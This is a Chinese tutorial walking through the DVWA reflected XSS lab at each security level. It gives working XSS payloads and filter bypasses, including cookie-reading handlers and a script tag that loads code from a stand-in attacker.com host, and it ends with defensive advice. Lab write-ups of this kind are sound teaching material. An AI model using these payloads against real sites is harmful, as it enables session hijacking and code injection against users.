DVWA XSS Reflected 反射型XSS通关教程

漏洞简介

XSS(跨站脚本攻击),老牌漏洞了。简单说就是把恶意 JavaScript 注入到网页里,别人打开这个页面脚本就执行了。反射型 XSS 是最常见的,恶意代码通过 URL 参数传进去,服务器原样返回,浏览器就执行了。

这关主要学怎么利用反射型 XSS 偷 Cookie 和搞事情。

XSS 类型

类型 说明
反射型 URL 传参,服务器反射回来
存储型 存服务器里,谁访问谁中招
DOM 型 纯前端操作,不经过服务器

Low 级别

看代码:

1
2
3
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

用户输入直接输出,啥过滤都没有。

攻击方法

测试 XSS:

1
<script>alert('XSS')</script>

弹窗了,确认有 XSS。

偷 Cookie:

1
<script>alert(document.cookie)</script>

外部加载脚本:

1
<script src="http://attacker.com/xss.js"></script>

img 标签也行:

1
<img src=x onerror="alert(document.cookie)">

![图片占位]

svg 标签:

1
<svg onload="alert(document.cookie)">

Medium 级别

Medium 过滤了 <script> 标签:

1
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

str_replace 这种方式,绕过方法太多了。

攻击方法

大小写混淆:

1
<Script>alert('XSS')</Script>

双写绕过:

1
<scr<script>ipt>alert('XSS')</scr</script>ipt>

中间的 <script> 被删了,剩下又拼成完整的标签了。

或者干脆不用 <script>

1
<img src=x onerror="alert(document.cookie)">
1
<body onload="alert('XSS')">
1
<input onfocus="alert('XSS')" autofocus>

High 级别

High 级别用正则过滤:

1
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

不管你怎么写 <script>,大小写怎么混,中间怎么插字符,都能匹配到并删掉。

但 XSS 又不是只有 <script> 这一种。

攻击方法

img 标签:

1
<img src=x onerror="alert(document.cookie)">

svg 标签:

1
<svg onload="alert(document.cookie)">

body 标签:

1
<body onload="alert('XSS')">

input 标签:

1
<input onfocus="alert('XSS')" autofocus>

details 标签:

1
<details open ontoggle="alert('XSS')">

能触发 JS 的标签多了去了,过滤不过来的。

Impossible 级别

Impossible 级别用 htmlspecialchars() 转义:

1
$name = htmlspecialchars( $_GET[ 'name' ] );

<>"'& 这些特殊字符转成 HTML 实体,注入的代码就变成普通文本了。这才是正确的做法。

常用 XSS Payload

Payload 说明
<script>alert(1)</script> 基础测试
<img src=x onerror=alert(1)> 图片加载失败触发
<svg onload=alert(1)> SVG 加载触发
<body onload=alert(1)> 页面加载触发
<input onfocus=alert(1) autofocus> 自动聚焦触发
<details open ontoggle=alert(1)> 展开触发
<a href="javascript:alert(1)">click</a> 点击触发

小结

XSS 防护要点:

  1. 输出的时候用 htmlspecialchars() 转义
  2. Cookie 设置 HttpOnly
  3. 配好 CSP
  4. 别想着黑名单过滤,转义才是王道